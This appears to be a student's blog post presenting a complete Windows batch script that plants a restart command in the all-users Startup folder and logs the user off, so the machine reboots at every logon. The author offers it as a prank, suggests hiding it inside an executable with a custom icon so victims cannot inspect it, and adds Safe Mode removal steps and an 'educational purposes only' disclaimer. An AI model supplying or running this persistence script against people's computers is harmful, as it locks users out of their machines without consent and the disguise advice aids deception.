An Infinite Restart Script for Windows Operating Systems

In one of my classes at CPTC, we started to learn how to write Windows Batch Scripts. Myself and a few of my classmates almost got into trouble (not really though) a few weeks ago, by sending messages through the use of shutdown commands over the LAN. Last week, I started to think about how could I have the computer restart every time a user tries to log on to their computer. Finally, after shifting code around for a while, I came up with a reliable script to do what I wanted it to do.

Upon execution, this Windows Batch Script will create a file called “restart.bat” that includes the command to immediately restart the computer. This file is then moved to the Startup folder for all users. After the file is moved, the user that is currently logged in will be logged off. When the user attempts to log on to the computer again, the computer will restart. Now every time the user tries to log on to the computer, it will automatically restart.

This is a script that will annoy just about everyone. One change that I have come up with is to package the restart script into an executable, then package that executable into a second executable, which includes a script that is similar to what you see below. Now instead of running a script, you run an executable with your own icon. The result is exactly the same, but masking it behind an executable makes it so that the user cannot view the code.

To remove the restart script/executable from your Startup folder, you have to boot into Safe Mode. This can be done by pressing the F8 key on your keyboard, before the Windows loading bar screen appears. After you boot into Safe Mode, go to (Start > All Programs > Startup) and delete the file that is causing your computer to restart. If the script used is the one below, then you would delete restart.bat.

:: Windows OS Infinite Restart Script
:: This script will cause a Windows OS to immediately restart after logging in to a user account.
:: Created by Andrew R. DeFilippis on February 22, 2010
:: http://www.andrewdefilippis.com/

@ECHO OFF
:: Disable echo commands from printing on screen

ECHO ^@ECHO OFF > restart.bat
ECHO SHUTDOWN /r /t 0 >> restart.bat
ECHO EXIT >> restart.bat

VER | FIND “5.1″ > NUL
IF ERRORLEVEL 0 GOTO OLD
VER | FIND “5.2″ > NUL
IF ERRORLEVEL 0 GOTO OLD
:: Determine what OS version is being used

GOTO NEW
:: If OS version 5.1 or 5.2 is not found, then go to NEW

:OLD
MOVE “restart.bat” “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into older Windows OS’s
:: Then log off the current user

:NEW
MOVE “restart.bat” “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into newer Windows OS’s
:: Then log off the current user

This script is posted for educational purposes only.

I am NOT liable for the use and/or misuse of this script.

 

Leave a Reply

Name*

e-Mail * (will not be published)

Website